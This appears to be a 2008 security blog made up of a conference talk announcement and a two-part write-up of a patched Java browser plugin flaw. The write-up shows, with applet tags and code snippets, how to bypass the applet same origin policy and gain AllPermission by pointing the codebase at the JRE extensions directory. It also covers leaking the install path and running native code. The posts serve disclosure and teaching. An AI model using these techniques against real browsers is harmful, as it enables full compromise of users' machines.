Thursday, 27 March 2008

Wake up and Smell the Coffee @ ToorCon

On April 19th I'm presenting at ToorCon in Seattle. My talk ("Wake up and smell the coffee: design flaws in the Java browser plugin") will be focused on some of the more interesting Java bugs I've found over the last few months, and how these can be exploited cross-browser, cross-platform and cross-architecture (making Java one of the scariest browser plugins there is, in my opinion). I haven't presented at ToorCon before (nor attended one for that matter) so I'm looking forward to it.

Of the talks already scheduled, several have caught my eye, including Richard Johnson's "Fast n Furious Transforms". Fourier Transforms and I were never the best of friends during my undergrad engineering degree but I always have time for cross-discipline approaches in security and Rich has given some great talks in the past (slides for which can be found here) so I will definitely be checking this one out.

I also noted that Adam Shostack is giving a talk entitled "SDL Threat Modeling: Past, Present and Future". Never was a truer word written than in the first line of his abstract: "Everyone thinks threat modeling is great, and then they encounter a formalized threat modeling process." I am looking forward to hearing his thoughts on the evolution of the SDL.

And finally, I'll get to see Nate McFeters discuss "URI Use and Abuse". Protocol handlers have provided a rich seam of vulnerabilities over the last few years and I hear Nate will be showing that things are likely to stay this way for a good while yet.

Anyway, if you're planning to go to ToorCon, drop me a line.



Tuesday, 18 March 2008

Defeating the Same Origin Policy: Part II

In my last post I gave details of how unsigned applets could bypass the same origin policy in order to make arbitrary network connections; the Sun alert for this issue is here. In this post I'll wrap up my discussion of this bug, showing how it can be used to compromise the host.

Bypassing the Java same origin policy is dangerous in itself - not only could a malicious applet port scan the internal network of the host that instantiates it - it could also interact with and exploit the services it finds. However, in most cases, bypassing the same origin policy (at least in the browser) does not obviously lead to a direct compromise of the host. This particular flaw is different.

Extensions in Java are groups of packages and classes that augment the runtime classes. Extensions are installed into a specified directory and consequently can be located via the JRE without having to explicitly name them on the class path. QuickTime for Java is an example of a Java extension; once installed it enables Java applications to play QuickTime media (and yes, its had its share of security issues).

Moving on... take a look in your java.policy file (located in java.home\lib\security\java.policy) and you'll see where this attack is going. The first entry is most likely:

// Standard extensions get all permissions by default 

grant codeBase "file:${{java.ext.dirs}}/*" {
permission; };

You'll remember from last time that by putting a URL in the code attribute allows an arbitrary codebase to specified. Thus if you use a codebase that references the extensions directory (e.g. "C:\Program Files\java\jre1.6.0_03\lib\ext") the applet is granted The Java documentation doesn't beat around the bush:

Granting AllPermission should be done with extreme care, as it implies all other permissions. Thus, it grants code the ability to run with security disabled. Extreme caution should be taken before granting such a permission to code. This permission should be used only during testing, or in extremely rare cases where an application or applet is completely trusted and adding the necessary permissions to the policy is prohibitively cumbersome.

The only thing left to do is come up with a reliable means of obtaining the path to the "JREx.y._zw\lib\ext" folder. The JRE version can be determined via querying the java.version property from a "bootstrapper" applet. Its probably safe to assume that on Windows platforms the JRE folder resides within the "Program Files\java" folder. As for the drive letter, the browser plugin prevents reading any properties that contain a path (so this rules out using java.home, java.class.path,, user.home and user.dir). You could of course take a guess; "c:" is a pretty good candidate. There is one Windows-specific property, however, that can be read from an unsigned applet and that discloses a full path. The Windows Desktop Properties expose a win.xpstyle.dllName property that can be read as follows:

String dllName = (String)Toolkit.getDefaultToolkit().getDesktopProperty("win.xpstyle.dllName");

On my test box this returns "E:\WINDOWS\Resources\themes\Luna\Luna.msstyles".

So to conclude, the applet tag (which could obviously be generated dynamically) ends up looking like:

<APPLET code="http://2130706433/foo" codebase="file:E:\Program Files\java\jre1.6.0_03\lib\ext"/>

As for a payload, an applet with AllPermission can call Runtime.getRuntime().exec or System.loadLibrary to go straight to native code, fully compromising the browser.



Wednesday, 12 March 2008

Defeating the Same Origin Policy: Part I

So last week Sun released updated versions of the Java Runtime Environment and with them, a host of Sun Alerts. These are neatly summarised on the Sun Security blog. Over the next few posts I am going to discuss the issues that I had a hand in reporting.

The first one I'm going to tackle is Sun Alert 233324, "A Security Vulnerability in the Java Plug-in May Allow an Untrusted Applet to Elevate Privileges"; NGS advisory is here. Your first thought might be that we achieve the elevation of privilege through a buffer overflow - I blogged on buffer overflows in the JRE a while back and if you read over the alerts Sun published last week, you'll see Java Web Start had several overflows fixed (I'll be discussing Sun Alert 233323, "Multiple Security Vulnerabilities in Java Web Start May Allow an Untrusted Application to Elevate Privileges" at a later date). However, if you read the brief description of this bug you'll see its a little more intriguing:

A security vulnerability in the Java Plug-in may allow an applet that is downloaded from a website to bypass the same origin policy and leverage this flaw to execute local applications that are accessible to the user running the untrusted applet.

I'm going to split the analysis of this issue into two parts. In this post I'm going to cover "bypassing the same origin policy"; in the next post I'm going to cover "leveraging this flaw to execute local applications". If anyone figures out the second part before I post it, add a comment or send me an email :)

So, part one, bypassing the same origin policy. The same origin policy effectively underpins browser security. It means that resources loaded from one origin cannot get or set properties of a resource from a different origin. The web app sec guys are always going on about this and coming up with new ways of bypassing the restriction. I find this research interesting but give me a browser 0day anyday (so its kinda ironic that I'm posting on it!). In the same way that client-side scripting languages enforce the same origin policy, Java implements a sandbox to limit network connectivity in untrusted applets. This is documented in the Java Security FAQ.

In a nutshell, unsigned applets are not allowed to open network connections to any host, except for the host that provided the .class files (either the host where the HTML page came from, or the host specified in the codebase parameter in the applet tag, with codebase taking precendence). Quite simply, if we try to create a connection to from an applet that did not originate from the machine, it will fail with a security exception.*

Applets are instantiated via the <APPLET> or <OBJECT> HTML tag. Both the code and codebase attributes/parameters must be set e.g. <APPLET code="foo" codebase="http://bar"/> will cause foo.class to be loaded from http://bar. The code that loads the class creates a URL object via the following constructor:

public URL(URL context,
String spec)
throws MalformedURLException

This constructor has an interesting property, namely:

If the authority component is present in the spec then the spec is treated as absolute and the spec authority and path will replace the context authority and path. If the authority component is absent in the spec then the authority of the new URL will be inherited from the context.

This effectively means that executing:

URL url1 = new URL("http://baz");
URL url2 = new URL(url1, "http://bar");

returns us url2 representing http://bar. So what happens if we instantiate an applet as follows:

<APPLET code="http://baz/foo" codebase="http://bar" />

Though the answer is probably obvious by now, we can use JSwat, the GUI Java debugger frontend, to confirm things.

Briefly, the steps are:

  • Configure JSwat for applet debugging (its easiest to specify "suspend=y" so the debugger doesn't run away).

  • Set a breakpoint on the URL constructor and hit go. The breakpoint will fire quite a few times (we could set a conditional breakpoint to avoid this); we can view the parameters to the constructor via the Variables pane.

  • Eventually we should see the parameter holding the specified applet codebase (http://bar) and the java.lang.String parameter holding the specified code attribute (http://baz/foo). The screenshot below illustrates this for my internal PoC; the codebase was and the code parameter was http://2130706433/connect (the reason for using 2130706433 will be explained shortly).

JSwat... it swats bugs.

So now we can definitively answer the question: it will load foo from baz but report the codebase as bar. We've defeated the same origin policy; our applet can connect to bar even though it was loaded from baz.

Of course, the devil is in the detail... there are some complications to get this attack working. Firstly, if we specify a code parameter containing a '.', e.g.:

<APPLET code="" codebase="http://bar" />

then an internal canonicalisation routine is triggered, converting '/' characters into '.' so we end up with a URL looking like "" and the attack fails. The easiest way round this limitation is to use the decimal representation of an IP address, as is apparently common with spammers. If you're too lazy to do the maths, there's an online converter here. So our code parameter will look like:

<APPLET code="http://2130706433/foo" codebase="http://bar" />

The final complication is that the Java plugin loads foo.class expecting to find a class called "http://2130706433/foo". This is easy to solve - we compile our class with a class name of "aaaaaaaaaaaaaaaaaaaaa" and use a hex editor to replace this string with "http://2130706433/foo" (the compiler doesn't like it but the JVM will load it).

That concludes the first post on this issue. Next time I'll cover using the same origin bypass to escape the sandbox.



* A while back I posted an advisory on another same origin bypass that allowed an applet loaded from a remote location to connect to localhost, thereby allowing it to attack local services.